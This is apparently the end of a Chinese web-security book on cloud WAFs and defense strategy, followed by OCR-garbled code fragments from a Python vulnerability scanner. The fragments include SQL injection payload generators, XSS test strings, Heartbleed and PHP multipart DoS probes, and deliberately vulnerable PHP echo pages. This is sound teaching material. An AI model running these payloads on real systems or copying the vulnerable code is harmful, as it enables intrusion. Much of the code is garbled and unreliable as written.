我们知道，软件存在漏洞是不可避免的，所以软件厂商会定期推出更新补丁。但有的软件打补丁工作却非常复杂，而且还会影响其稳定性。举个例子，比如OpenSSL，在大多数企业无法及时更新补丁，因此就有了虚拟补丁的概念。在应用程序之前设置某种类型的代理，用来控制程序的输入和输出，从而组织或消除攻击行为。它在一定程度上降低了企业的安全风险，并有效降低了企业的IT运维成本。WAF可以在新补丁推出之前或无法更新补丁时，利用安全策略对攻击流量进行过滤和净化，从而消除特定的攻击行为，为后续的修复和更新赢取足够的响应时间，起到一种虚拟补丁的作用。


3.它是一种完整性保护


云WAF在整个数据流中处于上游环节，目标所有的双向流量都会流经云WAF，因此它能够保证流量或访问请求的完整性。很多公司或企业在服务器被Web入侵后，都无法有效地对攻击过程进行回溯和追踪，主要原因是目标的完整性遭到了破坏，作为分析源的访问日志会被攻击者选择性地擦除掉，从而导致分析人员无法获悉完整的Web交互过程。但如果通过云WAF对访问日志进行完整性保护，那么就能够获取目标完整的访问记目，从而进行精准的入侵回溯分析。

9.3 防御策略

关于防御，它其实是基于攻击来展开的。在攻防对抗的理念中，攻击总是优于防御的。利用攻击来驱动防御，在设计防御策略时，就需要牢记两个重要的安全原则：Design For Failure和纵深防御，这里的Design For Failure是防御思想，它告诉我们没有绝对的安全；纵深防御则是防御行为，它指导我们需要在攻击链条上设置纵深，避免单点防御。综合来说就是，首先需要对攻击链条进行分解，在每个可能的环节点上设置防御，然后对这些防御点进行协同联动，关联阻击，这样才是有效的安全防御。

如果读者觉得这个听起来比较虚，那么我们举例说明。这里以常见的Web攻击进行防御策略制订，步骤如下。

（1）将攻击链条进行分解，如下图：
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（2）运用上述防御原则，在每个环节设置防御，如下图：
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（3）将这些防御点进行协同联动、关联处置，这样才满足纵深防御实践。

现在再回过头来看看WAF。WAF所处的防御点其实只是整个攻击链条中的部分环节，它主要用来阻挡攻击者对Web服务器的入侵，按照Design For Failure原则，Web服务器在防御理念中是会被攻破的。而云WAF不能感知攻破后的主机层面的攻击行为，因此云WAF需要有纵深层面的补充。纵向层面的补充是，通过 WAF 自身的日志大数据平台进行主动监控和智能预判拦截；深向层面的补充是，通过WAF 后端的主机层面的监控和防御。而且它们都可以与WAF进行联动，只有这样才能有效地保障Web服务器。

最后，笔者想说的是，安全绝对不是单一产品或服务所能解决的，任何鼓吹绝对安全的行为都是骗人的；同样，寄希望于一种产品或服务进行企业防御的行为也都是不负责任的。切记！


附录A

我们知道，互联网企业讲究的是“小步快跑，快速迭代”，因此它们的发展速度通常都是非常快的，伴随着企业快速发展的同时，新的业务线也随之增多。在早期的快速发展中，企业并没有足够的时间和人力去保障所有的业务线都能严格遵循 SDL 安全开发流程。在这里，我们可以看到，企业的快速发展与业务的安全需求存在天然的矛盾，那么如何有效地解决这些问题，互联网企业的最佳安全实践又是什么呢？

在企业安全实践中，虽然可以利用 SDL 安全开发流程，从工程化的角度来提高业务的安全基线，但它对安全人员的数量和能力都是有一定要求的，因此它同样无法满足业务的快速膨胀。在这种情况下，只能将安全工作向后推移，也就是在业务上线后对其进行集中、全局的安全规划。安全工作的核心是为了阻挡攻击，或者说是提高攻击者的攻击成本。有了这个基础的安全认知后，可以通过攻击驱动的方式来指导安全建设工作。换句话说就是：在攻与防的对抗中，提升和建设企业专属的安全体系。这种方式才是最有效率、最有价值的安全实践。

在具体的实践中，可以把每次攻防对抗看作是一次安全事件。在这个安全事件中，攻击作为驱动方，通常可以选择用渗透测试来发起。在攻防对抗的过程中，防御工作具体可以体现在下面三个阶段。


1.攻击中


防御方应该能够在未被告知的情况下，感知到系统的异常或攻击，并能够从各类嘈杂的信息源中快速和准确地锁定攻击目标。在这个环节中，我们的主要任务就是加强和完善自身监控体系的建设，同时提炼出对应的异常参考标准和数据指标来辅助安全运营，因此，我们具备的安全能力可以分为：入侵检测能力、攻击阻断能力、数据汇聚能力和安全分析能力。


2.攻击后


这里所说的攻击后，指的是攻击者在突破了第一道防线后（也就是我们无法感知到入侵），它们通常还会有后续的攻击行为，常见的攻击后行为有两类：

获取敏感数据

数据库数据、文档资料和财务数据等。

获取目标权限

账户权限、主机权限和域控权限等。

它们是攻击方的最终目标。作为防御方，需要在这个关键环节中建立对应的感知和响应能力。在数据和权限的防护路径上设立纵深来提高安全能力。举例说明：比如敏感数据的防护，可以通过建立三层能力进行防护，第一层为感知能力，对已有的日志资源建立分析和监控，具备数据异常的感知能力；第二层为响应能力，建立数据库代理，利用代理对数据库的操作进行安全监控和快速响应；第三层为加密能力，对数据库中的数据进行加密处理，攻击者尽管窃取到了数据，也不能直接看懂，降低数据泄露带来的风险。


3.安全复盘


安全复盘是安全建设中的最后一个环节，也是最重要的一环。复盘不仅仅是分析和推演，它的核心目的是推动安全建设。针对每一次成功的攻击，都需要具备完整的复盘能力，能够对此次攻击过程进行完整的回溯和追踪。复盘的内容可以围绕下面5个问题来展开：

（1）攻击者是谁，它来自哪里，真实IP、关联IP分别是什么？

（2）攻击者什么时候攻破目标或什么时候攻击成功？

（3）攻击的方式是什么，即通过什么样的攻击或漏洞？

（4）攻击的目标是什么，获取哪个业务系统的权限或数据？

（5）攻击的结果及后续的影响，攻击成功后做哪些事情？

而这中间任何制约复盘结果的能力缺失，都是防御方需要加强和改进的。通过这种方式不断地弥补缺失的能力，来提高企业的整体安全性。


附录B

以下是一些参考资源。


HTTP协议相关内容


[RFC2616]http://www.w3.org/Protocols/rfc2616/rfc2616.html

[RFC2617]http://www.ietf.org/rfc/rfc2617.txt


w3school


http://www.w3school.com.cn


XSS过滤器相关内容


https://wiki.mozilla.org/Security/Features/XSS_Filter

http://seclab.cs.sunysb.edu/seclab/pubs/xss.pdf


Python简明教程


http://www.kuqin.com/abyteofpython_cn/


Nginx日志配置远程Syslog采集


http://www.biglog.cn/nginx-syslog/


DPDK项目官网


http://dpdk.org/


Dpdk-pdump官方文档


http://dpdk.org/doc/guides-16.07/sample_app_ug/pdump.html#running-the-application


Logstash官方文档


https://www.elastic.co/guide/en/logstash/2.3/index.html


Grok正则在线测试


http://grokdebug.herokuapp.com/


Logstash最佳实践


http://udn.yyuap.com/doc/logstash-best-practice-cn/get_start/full_config.html


渗透测试相关内容


https://www.owasp.org/index.php/OWASP_Testing_Project

http://www.vulnerabilityassessment.co.uk/Penetration Test.html


PHP Decoder


http://ddecode.com/phpdecoder/


消息队列


https://en.wikipedia.org/wiki/Message_queue


CVE-2015-4024


https://bugs.php.net/bug.php?id=69364


Python中单线程、多线程和多进程的效率对比实验


http://python.jobbole.com/86822/


使用Celery


https://zhuanlan.zhihu.com/p/22304455?refer=python-cn


Celery-Distributed Task Queue


http://docs.celeryproject.org/en/latest/#


Celery官方文档


http://docs.celeryproject.org/en/latest/index.html


Python中执行系统命令


https://docs.python.org/2/library/subprocess.html#replacing-os-system
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return Response (code,headers,body,req url,msg,charset=charset)

class Response:
def _ init_ (self,status_code=None, headers=None, body=None,
req url=None,msg='OK', id=None, time=0.2,charset=None) :

self. code = status_code
self. headers = headers
self. req url = req url
self. body = None

self. raw_body = body

self. msg = msg

self. time = time
self_icharset = charset

#ResponseXf G 1M — bR iR E
self.id = id if id else uuid.uuidl ()
def set idd(self,id):
self.id = id
def get id(self):
return self.id
def set code(self,code) :
self. code = code
def get_ code(self) :
return self. code
def set_url(self,url):
self. req wrl = url
def get url (self):
return self. req url
def set body(self,body) :
self. body = body
def get body(self) :
return self. body
def get cookies (self):
if "set-cookie" in self. headers.keys():
return self. headers["set-cookie"]
else:
return None
def get headers(self):
return self. headers
@property
def headers (self) :
return self. headers
@property
def body (self):
if self. code is None:
return self. body
if self. body is None:
self. body,self. charset = self. charset handling()
return self. body
@property
def charset(self):
if self. code is None:
return self. charset
if self. charset is None:
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#coding=utf-8

Response.py

T

import uuid

import copy

import re

from URL import URL

DEFAULT ENCODING="utf-8"
DEFAULT CHARSET = DEFAULT ENCODING

#RiRequest sHEELIR [B] {0 N 5% i AResponse

def from requestsi response(res,req url):

code S Breshistatusieade
msg = res.reason
headers = res.headers

body = res.content
charset = res.encoding
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("dobule", "http://192.168.126.143/book/sql/3 sqgl.php?id=1"),
("search single","http://192.168.126.143/book/sql/4 sql.php?search=a"),
("search dobule", "http://192.168.126.143/book/sql/5 sql.php?search=a")
]
for type,url in url list:

req = Request (url)

t scanner=sgli()

t scanmner.check (req)
print vm.get all vuln()
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max link.php

<?php
FuncEitenEge N randisEringiicnien)
Schars = "abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
for ($i1 = 0, $str = '', $lc = strlen(Schars)-1; $i < $len; $i++) {

$str .= $chars[rand(0, $lc)l;
}
return $str;
}
Smax = 5000;
for ($1i=0; $i<Smax; S$i++) {
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#coding=utf-8

T

wCurl.py

v

import time

import socket

import httplib

import requests
requests.packages.urllib3.disable_warnings ()

from teye data.config import cfg

from teye web.http.URL import URL

from teye web.http.Request import Request

from teye web.http.Response import Response, from requests_ response

timeout = 60
socket.setdefaulttimeout (timeout)

class wCurl:

L]
def _ init_ (self):

[N

self. scan_signature=cfg["scan signature"] if cfg.has key("scan signature")
else "TScanner/1.0"
self. scan cookies= cfg["scan cookies"] if cfg.has key("scan cookies™) else {]
self. scen proxies= cfgl["scan proxies"] if cfg.has key("scan proxies") else {}
#OKMIEEE, 1IFJR B
httplib.HTTPConnection.debuglevel = 0
def get default headers(self,headers):

[N
T

default headers = {"User-Agent":self. scan signature}
default headers.update (headers)
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echo "JustForYou";

}
//10byte*4000,000,000=4M=4000KB=4000, 000B

?>
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self. body,self. charset = self. charset handling()
return self. charset
def set charset (self,charset):
self. charset = charset
def get charset (self):
return self. charset
def get lowercase_ headers (self) :
return dict ((k.lower(),v) for k,v in self. headers.iteritems())
def _charset_handling(self):
lowercase headers = self.get lowercase headers()
#RequestsIHLER NS : 150-8859-1
charset = self. charset
#IE GG Hbody el T BER ST S AL FR
rawbody = self. raw_body
if charset !=DEFAULT CHARSET and lowercase headers.has key('content-type'):
charset mo =
re.search ('charset=\s*?([\w-]+) ', lowercase headers|['content-type'])
if charset mo:
charset = charset_mo.groups() [0].lower () .strip(
elses
charset _mo=
re.search ('<meta.*2content=".*?charset=\s*? ([\w-]+)".*2>",
rawbody, re . IGNORECASE)
if charset mo:
charset = charset mo.groups () [0].lower () .strip()
eise:
try:
raise Exception
except:
charset = DEFAULT CHARSET

Cye

_body = unicode (rawbody,charset)
except:

charset ="gbk"

ey

_body = unicode (rawbody, charset)
except UnicodeDecodeError,e:
_body = rawbody
charset = "UNKNOWN"
elises
_body = unicode (rawbody, "utf-8",errors="'ignore')
return _body,charset
def  str (self):

result string = 'HTTP/1.1 '+str(self. code)+' '+self. msg+'\r\n'
if self.headers:
result_string +='\r\n'.join(h + ':' + hv for h,hv in self.headers.items())

if self.body:
result_string +="'"\r\n'+self.body.encode ("utf-8")
return result string
def  repr (self):
vals = {'code':self.get code(),"url':str(self.get url()),"id':self.id}
return '<Response | %(code)s | %(url)s | %(id)s>' % vals
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<?php

Scontent = § GET[data];
echo $content;

2>
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#coding=utf-8
import requests
res = requests.get ("http://www.watscan.com/4444.php")
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response = self. make response (requests response,req.get url ())
return respense

defiimakeFrespeonsel(seltnirespl fromirequests  reuueilt)i

if resp from requests is None:
respenses=SRespensel(reqiuti=reqinr i)
slse:
response = fromirequests responsel(resp from requests, regiurl)
return response
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Iceweasel
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return default headers

def get(self,url, headers={}, **kwargs):

el

default headers = self.get default headers (headers)
if not isinstance (url,URL) :
url = URL(url)
requests_response = None
try:

requests_response=requests.get (url.url string,headers=default headers, **kwargs)
except:
return self. make response(requests_response,url)
response = self. make response (requests_ response,url)
return response

def post(self,url, headers={},data=None, **kwargs):
Vi

Xaulin

default headers = self.get default headers (headers)

if not isinstance (url,URL) :
url = URL(url)

requests_response = None

ey
requests_response =
requests.post(url.url_string,headers:default_headers,data=data,**kwargs)

except:
return self. make response(requests response,url)
response = self. make response (requests response,url)

return response

def _send reqg(self, req):

il

method = req.get_method ()

A ERSHANE B A BIURL

uri = req.get_url().get_uri string()
getdata = reqg.get_get param()

postdata = req.get _post_param()

headers = req.get_headers ()

cookies = self. scan_cookies

proxies = self. scan proxies

send = getattr (requests,method.lower ())
requests_response = None
try:
requests_response=
send (uri,params=getdata,data=postdata, headers=headers, cookies=cookies, proxies=proxies
)
except:
return self. make response(requests_response,reqg.get_url())
else:
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test<script>alert (/anquanbao/) ;</script>
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Pylist”:

{
/ /IR AR
Wisrepliig
[{
/ /J§IFAURL
"url": "http://www.watscan.com:80/test.php?id=1%20AND%20920=920",
/ /IR A
Uranict Tt
/ 1 IRIRZ 5
"param": "id",
//BTTPIER A
"method": "GET"
}
}
}]
//EAREMAPIE R
"api: [],
VVEEE U]
tendiEimele g 0NG= 0ii=2 SRS EN6 4,
V&SN ENER
"entry": " www.watscan.com ",
/ /% H AR DN S5 B
"nameserver": [],
[/ FEAER
"subdomain": ["www.watscan.com", "test.watscan.com"],
// FEAREA A H bx
"scan_ target": ["www.watscan.com "],
/1345 H s HE S
"dir": [{"found": [], "site": "www.watscan.com "}],
/ /W (S 4R SUfE S
"finger": [{"app": "MyCMS", "site": "www.watscan.com "}],
/ /IR FTR PR
"kb":{"sgl":"http://www.watscan.com/teye/index.php?c=vuln&a=detailsvid=1"}
}
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#coding=utf-8

test wcurl.py

from wCurl import wcurl

res = wcurl.get ("http://www.baidu.com")
print res





OEBPS/Image00442.jpg
awk -F " " '{print $1}' access.log.20161212 | sort | unig -c | sort -nr | head -5
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root@iZ25z1fv7x7Z:/home/wwwlogs# awk -F " " '{print $1}' access.log.20161212| sort | uniq -c | sort -nr | head -5
578 125.88.223.58
550 101.226.162.90
175 61.135.169.92
93 121.42.0.37
73 117.34.28.15






OEBPS/Image00322.jpg
print hexdump (data)
s.send (h2bin (OPENSSL HB))
data=s.recv (5)
type,version, length struct.unpack ('>BHH',data)
if type==24 and length==16384:
return True
else:
return False
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#coding=utf-8

Request.py

import copy
from URL import URL

class Request:
def init (self,url,method='GET',headers=None,cookies=None,referer=None,
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error param list = []
for name,poc_true,poc false in sql payload list:
if name.lower() in self. white param:
continue
print "Fuzz Name:" + name +" Fuzz Type:" + poc_type
if http request.get method()=="GET":
req url = http request.get url()
normal resp = wcurl.get(req url.get url string())
true resp= wcurl.get (req url.get uri_ string(),params=poc_true)
false resp = wcurl.get(req url.get uri_string(),params=poc_false)
if true resp.body == false resp.body:

continue
if
self. get diff ratio(false_resp.body,true resp.body)>self. true threshold:
continue
if

self. get diff ratio(normal_ resp.body,true resp.body)>self. true threshold:
#security hole()
v = vuln()
url = true resp.get url()
v.set_url(url.get_uri_string()+"?"+str(poc_true))
v.set_method ("GET")
v.set_param(name)
v.set_name ("SQLIEAIFIF")
v.set_rank(severity.H)
vm.append (self,url.get host(),"sql",v)
log.info ("SQL Vuln")
def get diff ratio(self,a str,b_str):
if a_str==None or b_str==None:
return 0
a_hash = simhash(a_str.split())
b_hash = simhash(b_str.split())
ratio = a_hash.similarity(b_hash)
return ratio
def fill param(self,param) :
T
EEEIES
v
param dict = copy.deepcopy (param)
for key,value in param dict.iteritems():
if type(value) is list:
str value = "".join(value)
else:
str_value = value
if str value=="'":
param dict[key]=smart fill (key)
return param dict

def get payload list(self,param):

T
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#coding=utf-8

T

sql.py

T

import re

from LogManager import log

import copy

from wCurl import wcurl

from hashes.simhash import simhash
from util.smart fill import smart fill
import teye data.severity as severity
from teye data.vuln import vuln

from teye data.vulnmanager import vm

class sql:
def  init (self):

AR LR AR
self. true threshold = 0.85
HEES O ERERE,  DASSIERE GRIRN)

self. scan _mode = "normal"
HEARSHIIR, EIEEEA LIRS 5
self. white param = ["csrf token","captcha,"sign"]

def check(self,t request) :

log.info (u"IEZERLI H b5 2 BAFESQLIEANIEIH . . . ")
http request = copy.deepcopy(t request)

if http request.get method()=="GET":
param dict = http request.get get_ param()
if http request.get_method()=="POST":

param dict = http request.get post_param()
sql payload list = self. get payload list (param dict)
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INe l'se e N(zend B Nis tlcounti(hc ade )N/ ST i n ol ENcn St el inc/laddiEof previtol s ne i/

previilienS=Nstr leni(previient ryvalliie )i

eur len = stelen (Linz) g

entry.value = emalloc (prev_len + cur len + 1); //LRXAEFESE
memcpy (entry.value, prev entry.value, prev_len); //LRAFEHI
memcpy (entry.value + prev_len, line, cur len); //LRABEEHFI
entry.value[cur len + prev_len] = '\0';

entry.key = estrdup(prev entry-key)s

zend llist remove tail (header); [/ LRATFERE
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max html.php

<?php
Smax = 4000,000,000
for ($1=0;$1<4000000000; $i++)
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selletirefcreri_Nrefcron
cde f¥se Elcoolkilesiiiseltflcoe kile s )i

self. cookies = cookies
def st (self)s:

resulitlseringd—Ssel filinechod
eesitilie Seiatiore = Weeeilie, el githell Siezabate] ax W ISHIINEYAL £ Il Ge it
headers = copy.deepcopy (self. headers)
headerstupdate ({MHost™:self S urlidget Thosti() )
for key,value in headers.iteritems() :
result string +=key+": "+value
result string +="\r\n"
result string +="\r\n"
1f sel f. method=="POST":
resulicNsEringt=sitn(sel fiipostidata)
resulicsEringi=SrecsuliclsEringencod el fis i)
return result string
ce N e PERN(s c e

T

vals =
('nethodii:selifligetime Ehod (HFRUrINE st (Selitlige ERu RGN se RS ge el iei()E}

return '<Request | %$(method)s | $(url)s | %$(id)s>' % vals
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#coding=utf-8

test |

from
from

from
from

common_vuln.py

teye web.http.Request import Request
teye web.sql import sql

teye data.vuln import vuln
teye data.vulnmanager import vm
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‘rank':u"mfE",
'info':u"http://www.watscan.com/",

}
self. linenum = 10
self. data type=["normal", "payload"]
def check(self,url):
log.info (" IEFERI BAR B (%s]..." % (self.get title()))
domain = url.get domain ()
a = self.get res time (type="payload")
b= self.get res_time (type="normal")
c= self.get_res_time (type="normal")
if a>b and abs (a-b)>2*abs (b-c):
securety hole (domain)
def gen payload(self)
payload=""
for i in xrange(self. linenum) :
payload += "a"* self._ linenum +"\n"
return payload
def gen testdata(self,data):
plen = len(data)
return rand letters(plen)
def get post data(self,type="normal"):
fuzzdata = self. gen payload()
testdata = self. gen_ testdata(fuzzdata)
postdata =""
postdata +="--5b4729970b854£95b01a01a2e799996£f\r\n"
if type=="normal":
postdata +="Content-Disposition: form-data; name=\"filename\";
filename=\"test.txt\"\r\n\r\n"
postdata +=testdata+"just for a test!\r\n\r\n"
else:
postdata +="Content-Disposition: form-data; name=\"filename\";
filename=\"test.txt\""+fuzzdata+"\r\n\r\n"
postdata +="just for a test!\r\n\r\n"
postdata +="--5b4729970b854£95b01a0la2e799996f--"
return postdata
def get resp time(self,url ,type="normal"):
headers ={"Content-Type":"multipart/form-data;
boundary=5b4729970b854£95b01a01a2e799996£"}
data = self.get post_data (num, type)
res = wcurl.post (url, headers=headers,data=data)
return res.elapsed
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#coding=utf-8
import re

import os

import sys

import time

import datetime
import numpy as np

ip =sys.argv[l]

filenames ="tssissilogt s (tip, time SEime ())
cmd=" cat acess.log.20161212 | grep %s>%s" % (ip,filename)

os.system(cmd)
file=open (filename, "rb+")

choaige lilge = [

for log in file.readlines():
log = log.strip()
pattern=re.compile ("\[ ([*\[\]11+)\1")
match = pattern.search (log)

if match:
logtime = match.group(l)
strtime = logtime.split (" ") [0]

dtime = datetime.datetime.strptime (strtime,"%d/%b/
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def

def

def

def

def

def

def

def

data=None,user_agent=DEFAULT_USER_AGENT, **kwargs) :
if isinstance (url,URL) :
selt. uri = url
elises
self. url = URL(url)
self. method = method.upper ()
self. headers {}
self. cookies = cookies
self N referer =Sreferrer
self. user_agent = user_ agent
if 'self. cookies:
headers.update ({"Cookie": self. cookies}
TENsel il referer:
self. headers.update/({"Referer': self. referer})
1f 'self. user agent:
self. headers.update ({"User-Agent": self. user agent})
self. get data = self. url.get querystring()
if data:
self. post_data = data
get_get param(self) :

return self. get data
get post param(self) :

[

L]

return self. post data
get url (self) :

v

return self. url
get method (self) :

[

return self. method
get headersi(self):

return self. headers
get_cookies (self) :

R

return self. cookies
set post data(self,postdata):

L]

self. post data = postdata
set_get_data(self,getdata):

R

R

self. get data = getdata
setirefaren(selfrreferer)

LR
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o_param dict = self. fill param(param)
o_param _key = o_param dict.keys ()
for name in o_param key:
v = o_param dict.get (name)
if type(v) is list:
o_v="".join (v)
else:
o_v=v
rndnum = int (rand number (3))
payload list = []

#HT R
payload true = '%s AND %i=%i' % (o_v, rndnum, rndnum)
payload false = '$s AND %i=%i' % (o_v, rndnum, rndnum+l)

payload list.append((payload true,payload false))
FERE, BEE

payload true = "$s' AND '%i'='$i" % (o_v, rndnum, rndnum )
payload false = "%s' AND TSiT="%1i" % (o_v, rndnum, rndnum+l)
payload list.append((payload true,payload false))

PR, WE S

payload true = '%s" AND "%i"="%i' % (o_v, rndnum, rndnum )
payload false = '%s" AND "%i"="%i' % (o_v, rndnum, rndnum+1)

payload list.append((payload true,payload false))
HERM, B55

payload_true = "%s%%' AND %i=%i and '%%'=" % (o_v, rndnum, rndnum )
payload false ="%s%%' AND %i=%i and '%%'=" % (o_v, rndnum, rndnum+l)
payload list.append((payload true,payload false))

HERE, W55

payload true = '%s%%" AND %i=%i and "%%"="' % (o_v, rndnum, rndnum )
payload false ='%s%%" AND %$i=%i and "%%"="' % (o_v, rndnum, rndnum+l)

payload list.append((payload true,payload false))

for poc_true,poc_false in payload list:

FERIR S A ], PR K 7 A
true param dict = copy.deepcopy (o param dict)
true_param dict[name]= poc_true
false param dict = copy.deepcopy(o_param dict)
false param dict[name]=poc_false
poc_tuple = (name,true param dict,false param dict)
res.append (poc_tuple)

return res
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#coding=utf-8

php multipart dos.py

T

from misc.common import rand letters
from wCurl import wcurl

import time

import socket

class php multipart dos(PocScan) :
oiziE  dbmate  (Bellin) g
selifsipociinfoR=H

'w_hat':{
tauthor':u"imiyco",
'blog':u"http://www.imiyoo.com",
'"team' :u"W.A.T",
Veimeanee itdme’ auV 201 5=05=14%

}l

'w_vul':{

'id':u"wDB-2015-1042",
"title' :u"OpenSSL:/CrfiH MIFIH",
Lme thod Ul TE RN
EEagi il opcn SISt
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dtime list.append (dtime)

clellez lige = [
Eor i inExrange(lieni(ciEameIStSE )il

dellizalEine =i sime R biis R SNEd sme Rnts =]
delEalisccondsiNd el FaltE i me St zallsccondsi()
delta list.append(delta seconds)

print "iZIPHHARTE KA E ARG 5 2209 "
print np.var(delta list)
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func.py

#coding=utf-8
def show () :
print "Hello,the World"

hook.py
#coding=utf-8

import func
def hook show(*args, **kwargs) :
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| http://loca...s/1_xss.php

€ @ localhost/bo

x

&

Iceweasel

vcr‘ Qi

e 3 &

frmrsms: 13| ey £ 3742 3T
l@‘gﬁwg 3R : http://localhost/book/store-xss/1xss.php - Iceweasel

.
* hello,the world!

XHHE) 4WE(E) BEV) WBHH)

<meta http-equiv="content-type" content="text/html;charset=utf-8">
<form action="" method="post">

EIMAMRAES (<input type="text" name="comment" value="">

<input type="submit" name="submit" value="ig%r">

</form>

BERAR:
<ul>
<lixkscript>alert(/anquanbao/);</script3/li><li>hello, the world!</li></ul>

MR
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Search Web by Domain

cloudflare, inc.

august 2016

Explore 1,218,268 web sites visited by users of the Metcraft Toolbar 6th January 2017
Search: search tips
site contains v| f lookup!
example: =ite contains .netcraf t.com
Results for anquanbao.com
Found 4 sites
Site Site Report First seen Netblock 05
1. www.anquanbac.com @ chinanet guangdeng province network linus
2. lucky.anquanbac.com =] march 2012 chinanet guangdang province network linus
oa.anquanbac.com.cn % september 2016 chinanet-hn rhuzhou node network linux
@ linux

4. jifen.anquanbac.com.cn

COPYRIGHT ® NETCRAFT LTD 2017. ALL RIGHTS RESERVED.
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#coding=utf-8

def noargs_ fun() :

print "No args functions"

def tup fun(argl,arg2):
print argl,arg2

elenr el it (Eheel=il , use 2= 2)) 4
print argl,arg2

i wEmEe == Y aenbel Y8
apply (noargs fun)
apply (tup_fun, ("ZH1", "BH2"))
sz{"argl":"%ﬁiﬁl","arg2":"%§§i2“}
apply (dic_fun, (), kw)





OEBPS/Image00217.jpg
Iceweasel
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[@] site:anquanbao.com... x\-l-

| € ) @ https://www.baidu.com/s?ie=utf-8&f=88&rsv_bp=0&rsv_idx=1&tn=baidu&wd=site%3Aanquanbao.

(1)
Bﬂ'@ﬁﬁﬂl site:anquanbao.com I © H

MR M B i S5 ER WUR A UE ES»

FAMNE - RHEAR ~ FEMEMLE -  anquanbao.com - X it
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imiyoo@debian: /home/wwwroot/default/book/python/hook$ python hook.py
hook the show func
hello, the world!
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self. ip list =[]
self. subdomain list = []
self. subdomain file = domain file if domain file else
".teye file/domain/small_domain_name.txt"
self. resolver = dns.resolver.Resolver ()
#HJ¥DNS:180.76.76.76
#BTHDNS:223.5.5.5,223.6.6.6
self. resolver.nameservers=["1B0.76.76.76",'223.5.5.5","223.6.6.6"]
def load domain (self):

[N

[

sub_list = []
with open(self. subdomain file) as f:
for line in f:
sub = line.strip()
if sub.startswith("#"):
continue

sub_list.append (sub)

return sub_list

def domain scan(self,root_domain) :

v
v

wild record = {}

sublist = self. load domain ()
for item in sublist:

subdomain = item + "." + root_domain
log.info ("DomainScan Scanning:" + subdomain)
EEY:

resp = self. resolver.query (subdomain)
is_wild record = False
if resp:
for item in resp:
ipaddr = item.address
1f ipaddr not in self. 1p lists
wild record[ipaddr] = 1
self. ip list.append (ipaddr)
else:
wild record[ipaddr] +=1
if wild record[ipaddr]>DomainScan.MAX WILD RECORDS:
is_wild record = True
if is _wild record:
log.info ("DomainScan Found Wild Record")
break
if subdomain not in self. subdomain_ list:
self. subdomain list.append (subdomain)
except Exception as e:
continue
return self. subdomain list
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#to do hook

print "hook show func"
realfun,= args

return apply(realfun)

def hook() :

_show = func.show

func.show = lambda :apply( hooked show, (_show,))
if name ==" main "

hook ()

func.show ()
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<script>alert (/anquanbao/) ;</script>
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#coding=utf-8

DomainScan.py

T

import os

import dns.resolver

import dns.rdatatype

from LogManager import log

class DomainScan:
LR )

MAX WILD RECORDS = 100#8

cleiy  dlantie (EBelliE;clonipiln sililesiNenE) 3
;i W
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test wcurl.py

#coding=utf-8

from wCurl import wcurl

for x in xrange (0,10):
res=wcurl.get ("http://www.baidu.com")
print res
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def hook manager (self) :

v
LRI |
dcennects =Nsecketisocket connect

socket.socket.connect=lambda
*args, **kwargs :apply(self. hook connect, (_connect,self,args, kwargs))

def hook connect (self, *args, **kwargs) :

realfun,selfobj, realargs, realkwargs = args

while True:
begin = time.time ()
now time = max(0.01,begin-self. time)
if now time > 5:

gipllit, @owE =
selfvl cimeN=Nnowlcime
break
if self. conn/now_time<=self. speed:
break
cliset

time.sleep (0.01)
selif i connH=1

return apply(realfun,realargs, realkwargs)





OEBPS/Image00221.jpg
<script>alert (/anquanbao/) ;</script>
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<?php

Scontent = $ GET[data];
2>

<input type='text' value="<?php echo $content?>">
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Python 2.7.9 (default, Mar 1 2015, 12:57:24)

[GCC 4.9.2] on linux2

Type "help", "copyright", "credits" or "license" for more information.
>>> import socket

>>> website="www.anquanbao.com"

>>> ipaddr = socket.gethostbyname(website)

>>> print website+"®) IPHh 4k 4 : "+str(ipaddr)

www. anquanbao. comf] IP#bHE 4 :117.34.14.88

>>>
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#coding=utf-8

import socket

website = "www.anquanaowe.com"

ipaddr = socket.gethostbyname (website)
print website+"fJIPHLIEA: "+str (ipaddr)
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#coding=utf-8

EShEGhis el

import socket
_chigeeche = {

def T setbDNSCache ()s
def getaddrinfo(*args,**kwargs) :

global _dnscache

iiEla rg s iRl dniscaches
return dnscache[args]

else:
_dnscache[args] = socket. getaddrinfo(*args, **kwargs)
return dnscache[argsi

if not hasattr(socket,' getaddrinfo'):
seecketii getaddrinfel=Ssocketigetaddrinto
socket.getaddrinfo = getaddrinfo
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Iceweasel

/anquanbao/

[ me |

IE{E{&HiE A localhost FIERIR -
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def nmap scan(self, target,option=NMAP_ OPTIONS) :

L AN

TES

#¥]4htkself. http target

if len(self. http target)>0
self. httpl tazget = [

nmap_proc = NmapProcess (targets=target,options=option)

nmap_proc.run_background ()
run_time = 0

while nmap proc.is running() :

time.sleep (5)

if nmap_proc.is_successful () :

result = dict ()

nmap_report = NmapParser.parse (nmap_proc.stdout)
for host in nmap_report.hosts:

port _open = []

for item in host.services:

if item.state

.lower () in PortScan.NMAP OPEN STATE:

info = item.service_ dict
ipaddr = host.address
port = item.port

name = info.get ("name")

product

= info.get ("product")

if name.find("http")>-1:
if self.is ipaddri{target):

else

http item = host.address+":"+str (port)
self. http target.append(http item)
http item = target + ":" + stri(port)
self. http target.append(http item)

port_ open.append (port)
result[ipaddr] = port open

return result
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imiyoo:~/workplace/tscanner$ python test_wcurl.py

send: 'GET / HTTP/1.1\r\nHost: www. baidu. com\r\nConnection: keep—alive\r\nAccept—Encoding: gzip, deflate\r\nAccept:
*/¥\r\nUser—Agent: TScanner/1.0\r\n\r\n'

reply: 'HTTP/1.1 200 OK\r\n'

header: Date: Tue, 06 Dec 2016 10:39:26 GMT

header: Content-Type: text/html; charset=utf-8

header: Transfer—Encoding: chunked

header: Connection: Keep—Alive

header: Vary: Accept—Encoding

header: Set—Cookie: BAIDUID=36ED3D60FF738221E25BFD6CC7FCAF44:FG=1; expires=Thu, 31-Dec—37 23:55:55 GMT; max—age=2147
483647; path=/; domain=. baidu. com

header: Set-Cookie: BIDUPSI|D=36ED3D60FF738221E25BFD6CC7FCAF44; expires=Thu, 31-Dec—37 23:55:55 GMT; max—age=21474836
47; path=/; domain=.baidu. com

header: Set—Cookie: PSTM=1481020766; expires=Thu, 31-Dec—37 23:55:55 GMT; max—age=2147483647; path=/; domain=.baidu.
com

header: Set—Cookie: BDSVRTM=0; path=/

header: Set—Cookie: BD_HOME=0; path=/

header: Set—Cookie: H_PS_PSSID=1461_21530_21090_18559_21455_21409_21418_21553_21670; path=/; domain=.baidu. com
